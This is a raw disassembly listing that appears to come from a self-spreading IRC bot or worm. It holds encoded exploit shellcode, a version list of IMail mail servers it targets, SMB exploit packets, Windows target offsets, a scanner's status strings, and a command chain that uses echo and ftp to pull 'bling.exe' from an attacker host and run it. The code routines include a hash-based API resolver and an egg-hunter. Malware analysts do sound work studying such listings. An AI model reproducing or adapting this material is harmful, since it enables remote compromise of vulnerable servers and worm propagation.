dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
unk_43E2FC db 2Dh ; - ; DATA XREF: sub_4093A7+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
dword_43E31C dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_4093A7+46o
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_4093A7+85o
align 4
unk_43E33C db 2Dh ; - ; DATA XREF: sub_409475+37o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
dword_43E384 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_4094E0+14o
dd 7473694Ch, 3Ah
dword_43E3A0 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_4094E0+40o
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_4094E0+7Eo
unk_43E3C0 db 2Dh ; - ; DATA XREF: ___:00409626o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 10h
unk_43E3F0 db 2Dh ; - ; DATA XREF: ___:00409714o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_43E424 db 2Dh ; - ; DATA XREF: sub_409757+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_43E440 db 2Dh ; - ; DATA XREF: sub_409757+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 10h
unk_43E460 db 2Dh ; - ; DATA XREF: sub_4097CE+DBo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_2 db ' Server started on Port: %d, File: %s.',0
align 4
unk_43E494 db 2Dh ; - ; DATA XREF: sub_4097CE+149o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_18 db ' Failed to start server, error: <%d>.',0
align 4
unk_43E4C8 db 2Dh ; - ; DATA XREF: sub_4097CE+1FEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_43E4FC db 2Dh ; - ; DATA XREF: sub_4097CE+26Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_19 db 'Failed to start server, error: <%d>.',0
align 10h
unk_43E530 db 2Dh ; - ; DATA XREF: sub_4097CE+322o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_1 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_43E56C db 2Dh ; - ; DATA XREF: sub_4097CE+390o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_20 db ' Failed to start server, error: <%d>.',0
align 10h
aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_409BC6+38o
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00409DF4o
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00409E2Bo
aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:00409E85o
align 4
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00409EAAo
align 4
aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: ___:loc_409EBAo
align 4
unk_43E624 db 2Dh ; - ; DATA XREF: sub_409ECC+93o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43E65C db 2Dh ; - ; DATA XREF: sub_409ECC+EBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_43E684 db 2Dh ; - ; DATA XREF: sub_409ECC+29Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
unk_43E6B8 db 2Dh ; - ; DATA XREF: sub_409ECC+317o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43E6EC db 2Dh ; - ; DATA XREF: sub_409ECC+387o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_43E724 db 2Dh ; - ; DATA XREF: sub_409ECC+3E2o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
dword_43E764 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h
; DATA XREF: sub_40A33F+92o
dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
aA01Login db 'a01 LOGIN "&',0 ; DATA XREF: ___:0040A721o
align 4
dword_43E81C dd 0E983C92Bh, 0FFFFE8B8h, 5EC0FFFFh, 0E00E7681h, 837C1F1Ah
; DATA XREF: ___:0040A731o
dd 0F4E2FCEEh, 31F4701Ch, 83E0E308h, 10947A1Fh, 39943EC4h
dd 796391DCh, 0F7F01B98h, 239402AFh, 35F41BC0h, 7D942E6Bh
dd 0E5DF2B0Eh, 8DF9E4Ch, 71D5DBE7h, 88F4D8E1h, 543B4EDBh
dd 2394FF95h, 1AF41BC4h, 0F754166Bh, 971E06BFh, 0F59436E3h
dd 1D033E8Ch, 18C42B23h, 0F72F596Bh, 0C9416A0h, 3C94B7FCh
dd 0F27744E8h, 2CF314AEh, 2F79CC1Fh, 4E2C7286h, 4E6C6D88h
dd 0ACE04EBFh, 80F2D188h, 0AAE04ADBh, 1AFA93BFh, 7E17F761h
dd 831D70B5h, 75C67230h, 8348B715h, 2F4C4936h, 3F4C59B3h
dd 14CFE5B3h
dword_43E8D4 dd 7D1F1A9Fh ; DATA XREF: ___:0040A6EEo
db 86h, 72h
word_43E8DA dw 0AE1Bh ; DATA XREF: ___:0040A700o
dd 9D964986h, 85F37275h, 83487A4Ah, 2D0F7036h, 1ACFE5B5h
dd 14797E8Ah, 2C757783h, 0F5D333B9h, 0F55B7007h, 8FDF2B02h
dd 81968F4Ah, 8232581Eh, 69236A2h, 0D7B4B1D8h, 0CFE16888h
dd 546AE5F6h, 2B44CC1Fh, 2D4E4BB2h, 2D4E1B8Ah, 0ACE04BB5h
dd 79C6B788h, 0AAE0492Eh, 4BE0E58Ah, 9B77CA1Fh, 8366DC99h
dd 0AAE01E95h, 83E36D1Fh, 0F6EF7230h, 834C45E4h, 7CCFE536h
dd 0
; ---------------------------------------------------------------------------
loc_43E958: ; DATA XREF: ___:0040A7CBo
; ___:0040A7FDo ...
jmp short loc_43E95E
; ---------------------------------------------------------------------------
align 4
loc_43E95C: ; DATA XREF: ___:0040A7DCo
jmp short near ptr dword_43E960
; ---------------------------------------------------------------------------
loc_43E95E: ; CODE XREF: ___:loc_43E958j
add [eax], edx
; ---------------------------------------------------------------------------
dword_43E960 dd 0 ; CODE XREF: ___:loc_43E95Cj
dword_43E964 dd 100103BBh, 0 ; DATA XREF: ___:0040A80Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
db 8, 1, 10h
dd 0
dword_43E974 dd 100102D9h, 0 ; DATA XREF: ___:0040A884o
dword_43E97C dd 1001031Bh, 0 ; DATA XREF: ___:0040A8B1o
dword_43E984 dd 10010269h, 0 ; DATA XREF: ___:0040A8EFo
dword_43E98C dd 10010296h, 0 ; DATA XREF: ___:0040A91Co
dword_43E994 dd 100102E2h, 0 ; DATA XREF: ___:0040A949o
dword_43E99C dd 100102E2h, 0 ; DATA XREF: ___:0040A976o
dword_43E9A4 dd 100102E2h, 0 ; DATA XREF: ___:0040A9A3o
dword_43E9AC dd 100102E2h, 0 ; DATA XREF: ___:0040A9D0o
dword_43E9B4 dd 10010302h, 0 ; DATA XREF: ___:0040A9FDo
dword_43E9BC dd 100249D4h, 0 ; DATA XREF: ___:0040AA2Ao
dword_43E9C4 dd 1001D9BBh, 0 ; DATA XREF: ___:0040AA57o
dword_43E9CC dd 100218E6h, 0 ; DATA XREF: ___:0040AA84o
dword_43E9D4 dd 10021782h, 0 ; DATA XREF: ___:0040AAAEo
dword_43E9DC dd 10021A51h, 0 ; DATA XREF: ___:0040AAD8o
dword_43E9E4 dd 10021A51h, 0 ; DATA XREF: ___:0040AB02o
dword_43E9EC dd 10021A62h, 0 ; DATA XREF: ___:0040AB3Co
; ---------------------------------------------------------------------------
loc_43E9F4: ; DATA XREF: ___:0040A742o
jmp short loc_43EA05
; ---------------------------------------------------------------------------
loc_43E9F6: ; CODE XREF: ___:loc_43EA05p
pop ebx
xor ecx, ecx
sub cx, 0FFE0h
loc_43E9FD: ; CODE XREF: ___:0043EA01j
xor byte ptr [ebx], 55h
inc ebx
loop loc_43E9FD
jmp short near ptr word_43EA0A
; ---------------------------------------------------------------------------
loc_43EA05: ; CODE XREF: ___:loc_43E9F4j
call loc_43E9F6
; ---------------------------------------------------------------------------
word_43EA0A dw 0BB8Ch ; CODE XREF: ___:0043EA03j
dd 0A171218Ch, 5F94D50Ch, 0AB98ABC5h, 15BCD598h, 0B4AAh
dword_43EA20 dd 57222022h, 6E773065h, 0A0D22h ; DATA XREF: ___:0040A756o
aImail db 'IMail',0 ; DATA XREF: ___:0040A79Fo
align 4
a7_04 db '7.04',0 ; DATA XREF: ___:0040A7B9o
align 4
a7_05 db '7.05',0 ; DATA XREF: ___:loc_40A7EBo
align 4
a7_06 db '7.06',0 ; DATA XREF: ___:loc_40A815o
align 4
a7_07 db '7.07',0 ; DATA XREF: ___:0040A826o
align 4
a7_10 db '7.10',0 ; DATA XREF: ___:loc_40A850o
align 4
a7_11 db '7.11',0 ; DATA XREF: ___:0040A861o
align 4
a7_12 db '7.12',0 ; DATA XREF: ___:loc_40A88Eo
align 4
a7_13 db '7.13',0 ; DATA XREF: ___:loc_40A8BBo
align 4
a7_14 db '7.14',0 ; DATA XREF: ___:0040A8CCo
align 4
a7_15 db '7.15',0 ; DATA XREF: ___:loc_40A8F9o
align 4
a8_00 db '8.00',0 ; DATA XREF: ___:loc_40A926o
align 4
a8_01 db '8.01',0 ; DATA XREF: ___:loc_40A953o
align 4
a8_02 db '8.02',0 ; DATA XREF: ___:loc_40A980o
align 4
a8_03 db '8.03',0 ; DATA XREF: ___:loc_40A9ADo
align 4
a8_04 db '8.04',0 ; DATA XREF: ___:loc_40A9DAo
align 4
a8_05 db '8.05',0 ; DATA XREF: ___:loc_40AA07o
align 4
a8_10 db '8.10',0 ; DATA XREF: ___:loc_40AA34o
align 4
a8_11 db '8.11',0 ; DATA XREF: ___:loc_40AA61o
align 4
a8_12 db '8.12',0 ; DATA XREF: ___:loc_40AA8Bo
align 4
a8_13 db '8.13',0 ; DATA XREF: ___:loc_40AAB5o
align 4
a8_14 db '8.14',0 ; DATA XREF: ___:loc_40AADFo
align 4
a8_15 db '8.15',0 ; DATA XREF: ___:loc_40AB19o
align 4
aHotfix2 db 'hotfix2',0 ; DATA XREF: ___:loc_40AB43o
a4_0 db '4.0',0 ; DATA XREF: ___:loc_40AB5Fo
a5_0 db '5.0',0 ; DATA XREF: ___:0040AB70o
a6_0 db '6.0',0 ; DATA XREF: ___:0040AB81o
a7_0 db '7.0',0 ; DATA XREF: ___:0040AB92o
aImail_0 db 'IMail',0 ; DATA XREF: ___:loc_40ABA3o
align 4
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40ACD9+42o
db 'echo quit >> o &ftp -n -s:o',0Dh,0Ah,0
align 4
aBling_exe db 'bling.exe',0Dh,0Ah,0 ; CODE XREF: ___:0043EBAEj
; DATA XREF: sub_40ACD9+85o
; ---------------------------------------------------------------------------
loc_43EB70: ; DATA XREF: sub_40AF1B+118o
jmp short loc_43EB75
; ---------------------------------------------------------------------------
loc_43EB72: ; CODE XREF: ___:loc_43EB75p
pop ebp
jmp short loc_43EB7A
; ---------------------------------------------------------------------------
loc_43EB75: ; CODE XREF: ___:loc_43EB70j
call loc_43EB72
loc_43EB7A: ; CODE XREF: ___:0043EB73j
mov eax, ebp
add eax, 11h
xor ecx, ecx
mov cx, 1C9h ; CODE XREF: ___:0043EBA0j
loc_43EB85: ; CODE XREF: ___:0043EB89j
xor byte ptr [eax], 88h
inc eax
loop loc_43EB85
fld qword ptr [ebx]
add edi, fs:[ecx+ecx+64h]
or [eax-3B9F7778h], cl
mov [eax+74CE0188h], ecx
loc_43EB9E: ; CODE XREF: ___:loc_43EB9Ej
ja short loc_43EB9E
jz short near ptr loc_43EB81+1
push es
mov byte ptr [esi-76269F9Ch], 88h
mov [ecx], al
into
dec esi
loopne near ptr aBling_exe+7
mov edx, 0FFE08888h
sti
mov edx, 0DE77DCD7h
dec esi
add esi, ecx
jo short loc_43EC37
; ---------------------------------------------------------------------------
dd 25E074FEh, 60468D51h, 888889B8h, 775ACE01h, 0FAE074FEh
dd 609E3B76h, 888889A8h, 7746CE01h, 67E074FEh, 60E86846h
dd 88888998h, 7742CE01h, 43E070FEh, 60B37465h
db 88h, 89h, 88h
; ---------------------------------------------------------------------------
loc_43EBFB: ; CODE XREF: ___:loc_43EC6Fj
mov [ecx], al
into
jl short loc_43EC77
; ---------------------------------------------------------------------------
db 0FEh, 70h, 0E0h
; ---------------------------------------------------------------------------
loc_43EC03: ; CODE XREF: ___:0043EC21j
push ecx
cmp dword ptr [ebp+25h], 88887860h
mov [ecx], al
into
js short loc_43EC87
; ---------------------------------------------------------------------------
db 0FEh, 70h, 0E0h
; ---------------------------------------------------------------------------
loc_43EC13: ; CODE XREF: ___:0043EC31j
sub al, 92h
clc
dec edi
pusha
push 1888888h
into
db 64h ; CODE XREF: ___:0043EC1Ej
ja short near ptr loc_43EC1E+1
jo short loc_43EC03
loc_43EC23: ; CODE XREF: ___:0043EC41j
sub al, 25h
cmpsb
popa
pusha
pop eax
mov [eax+60CE0188h], cl
loc_43EC2F: ; CODE XREF: ___:loc_43EC2Fj
ja short loc_43EC2F
jo short loc_43EC13
insd
ror dword ptr [esi], 0C1h
loc_43EC37: ; CODE XREF: ___:0043EBBEj
pusha
dec eax
mov [eax+6ACE0188h], cl
loc_43EC3F: ; CODE XREF: ___:loc_43EC3Fj
ja short loc_43EC3F
jo short loc_43EC23
outsd
icebp
dec esi
icebp
pusha
loc_43EC48: ; CODE XREF: ___:0043EC68j
cmp [eax-31FE7778h], cl
pop esi
mov ebx, 7C640977h
mov [eax-761F2378h], ecx
loc_43EC5A: ; CODE XREF: ___:loc_43EC7Aj
; ___:0043EC7Fj
mov [eax+7CDE7788h], ecx
fcomp st
fcomp st
enter 0FFFFC8D8h, 0D8h ; CODE XREF: ___:loc_43EC87j
ja short loc_43EC48
js short loc_43EC6F
push eax
fstp9 st(7)
loc_43EC6F: ; CODE XREF: ___:0043EC6Aj
loopne loc_43EBFB
mov [ebx-1DBBFC91h], ch
loc_43EC77: ; CODE XREF: ___:0043EBFEj
sahf
fstp1 st(3)
loc_43EC7A: ; CODE XREF: ___:0043ECACj
ja short loc_43EC5A
loc_43EC7C: ; CODE XREF: ___:0043EC8Ej
db 64h
fstp9 st(3)
ja short near ptr loc_43EC5A+5
pusha
mov ebx, 0DBD9DF77h
loc_43EC87: ; CODE XREF: ___:0043EC0Ej
ja short near ptr loc_43EC64+3
push 3
pop eax
add esi, ecx
db 36h ; CODE XREF: ___:0043ECD5j
loopne loc_43EC7C
in eax, 0ECh
mov [ecx], al
out dx, al
dec edx
or ecx, [esp+5]
mov ah, 0ACh
mov ebx, 841BB48h
dec ecx
popf
and ebp, [edx+75h]
dec esi
int 3 ; Trap to Debugger
lodsb
cwde
int 3 ; Trap to Debugger
jbe short loc_43EC7A
lodsb
mov ch, 1
fsubr qword ptr [eax+eax*8-3B5323FFh] ; CODE XREF: ___:0043ECD7j
add esp, ebx
lodsb
fadd dword ptr ds:0DC98ACCCh
fcomp st(1)
fstp1 st(1)
leave
fld st(1)
fstp1 st(1)
loc_43ECCA: ; CODE XREF: ___:loc_43ECCAj
ja short loc_43ECCA
dec edx
fnstenv byte ptr [edi-22h]
inc esi
add eax, [edx+77h]
ja short near ptr loc_43EC8E+2
ja short near ptr loc_43ECB1+6
pop edx
add eax, [eax+77h]
; ---------------------------------------------------------------------------
db 0FEh, 36h, 77h
dd 16635EDEh, 0DE9CDE77h, 88B829ECh, 0C8038888h, 94F80384h
dd 80C80325h, 888C4AD6h, 0DFDEDDDBh, 90ACE403h, 3B4CD03h
dd 8BF08DDCh, 90C2035Dh, 8BA8D203h, 0C1BA6B55h, 8B03BC03h
dd 7477BB7Dh, 0B22448BBh, 498FFC4Ch, 708B8547h, 0F4B37A63h
dd 69FD9CACh, 8BACD203h, 8403EE55h, 94D203C3h, 8C03558Bh
dd 634D8B03h, 348BB8Ah, 0D5D6D75Dh, 888C4AD3h
dword_43ED54 dd 280004h, 10h, 4 dup(0) ; DATA XREF: sub_40AF1B+7Bo
dd 5A7B91F8h, 11D0FF00h, 0C000B2A9h, 0FCE6B64Fh, 0FFFFFFFFh
dd 68736942h, 326B656Bh, 0FF333030h, 0
dd 1, 0
dd 0FFFF0000h, 0FFFFFFFFh, 0FFFFh, 0
aWindows2000Sp3 db 'Windows 2000 SP 3 (en)',0 ; DATA XREF: ___:0040ADC3o
align 10h
aWindowsXpSp1En db 'Windows XP SP 1 (en)',0 ; DATA XREF: ___:0040ADDCo
align 4
dword_43EDD8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_40AF1B+10o
dd 0FFFFFFFFh, 0
aNetmaniac db 'NETMANIAC',0 ; DATA XREF: sub_40AF1B+1Eo
align 4
aAdik db 'ADIK',0 ; DATA XREF: sub_40AF1B+2Ao
align 4
byte_43EDFC db 5 dup(90h) ; DATA XREF: sub_40AF1B+35o
; ---------------------------------------------------------------------------
jmp short loc_43EE06
; =============== S U B R O U T I N E =======================================
sub_43EE03 proc near ; CODE XREF: sub_43EE03:loc_43EE06p
pop eax
jmp short loc_43EE0B
; ---------------------------------------------------------------------------
loc_43EE06: ; CODE XREF: ___:0043EE01j
call sub_43EE03
loc_43EE0B: ; CODE XREF: sub_43EE03+1j
mov ecx, 0FFFFFFFFh
sub ecx, 0FFFFEE7Fh
sub eax, ecx
jmp eax
sub_43EE03 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
byte_43EE1C db 4 dup(90h) ; DATA XREF: sub_40AF1B+45o
dd 909010EBh, 90909090h, 0
aMessage db '*** MESSAGE ***',0 ; DATA XREF: sub_40AF1B+51o
aMsgBodySizeD db '[*] Msg body size: %d',0Ah,0 ; DATA XREF: sub_40AF1B+177o
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40B3A1+B2o
align 10h
dword_43EE60 dd 10FF8h, 0 ; DATA XREF: sub_40B3A1+6Ao
dword_43EE68 dd 10FF8h ; DATA XREF: sub_40B3A1+79o
dword_43EE6C dd 7FFDF020h, 0 ; DATA XREF: sub_40B3A1+162o
dword_43EE74 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40B7CB+7Bo
dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43EEFC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40B7CB+34o
dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_43EF2C dd 0 ; DATA XREF: sub_40B7CB+44o
dd 800000D4h, 0
unk_43EF38 db 81h ; ; DATA XREF: sub_40B8A5+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_43EF84 db 41h ; DATA XREF: sub_40B943+FFr
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_43EFC8 proc near ; DATA XREF: ___:0040BBFAo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_43F0C4
push dword ptr [esi]
push 63D61209h
call sub_43F0DA
mov [esi+8], eax
call sub_43F08D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_43F0DA
mov [esi+0Ch], eax
call sub_43F03F
push dword ptr [esi+4]
push 4C0297FAh
call sub_43F0DA
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_43EFC8 endp
; =============== S U B R O U T I N E =======================================
sub_43F03F proc near ; CODE XREF: sub_43EFC8+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_43F068
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_43F03F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43F068 proc near ; CODE XREF: sub_43F03F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_43F077: ; CODE XREF: sub_43F068+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_43F084
inc ebx
jmp short loc_43F077
; ---------------------------------------------------------------------------
loc_43F084: ; CODE XREF: sub_43F068+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_43F068 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43F08D proc near ; CODE XREF: sub_43EFC8+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_43F0A5: ; CODE XREF: sub_43F08D+1Ej
cmp [ecx], ebx
jz short loc_43F0AD
mov ecx, [ecx]
jmp short loc_43F0A5
; ---------------------------------------------------------------------------
loc_43F0AD: ; CODE XREF: sub_43F08D+1Aj
mov edx, edi
loc_43F0AF: ; CODE XREF: sub_43F08D+2Aj
cmp [edx+4], ebx
jz short loc_43F0B9
mov edx, [edx+4]
jmp short loc_43F0AF
; ---------------------------------------------------------------------------
loc_43F0B9: ; CODE XREF: sub_43F08D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_43F08D endp
; =============== S U B R O U T I N E =======================================
sub_43F0C4 proc near ; CODE XREF: sub_43EFC8+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_43F0C4 endp
; =============== S U B R O U T I N E =======================================
sub_43F0DA proc near ; CODE XREF: sub_43EFC8+16p
; sub_43EFC8+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_43F0F0: ; CODE XREF: sub_43F0DA+33j
jecxz short loc_43F12A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_43F0FD: ; CODE XREF: sub_43F0DA+2Dj
lodsb
cmp al, ah
jz short loc_43F109
ror edi, 0Dh
add edi, eax
jmp short loc_43F0FD
; ---------------------------------------------------------------------------
loc_43F109: ; CODE XREF: sub_43F0DA+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_43F0F0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_43F12A: ; CODE XREF: sub_43F0DA:loc_43F0F0j
; sub_43F0DA:loc_43F12Aj
jmp short loc_43F12A
sub_43F0DA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_43F130 proc near ; DATA XREF: ___:0040BBA8o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_43F182
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_43F14D: ; CODE XREF: sub_43F130+38j
jecxz short loc_43F17D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_43F158: ; CODE XREF: sub_43F130+32j
lodsb
test al, al
jz short loc_43F164
ror edx, 0Dh
add edx, eax
jmp short loc_43F158
; ---------------------------------------------------------------------------
loc_43F164: ; CODE XREF: sub_43F130+2Bj
cmp edx, [esp+arg_0]
jnz short loc_43F14D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_43F17D: ; CODE XREF: sub_43F130:loc_43F14Dj
mov [esp+arg_0], ebx
retn
sub_43F130 endp
; =============== S U B R O U T I N E =======================================
sub_43F182 proc near ; CODE XREF: sub_43F130+7p
; FUNCTION CHUNK AT 0043F1BA SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_43F19B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_43F1A6
; ---------------------------------------------------------------------------
loc_43F19B: ; CODE XREF: sub_43F182+8j
mov eax, [eax+34h]
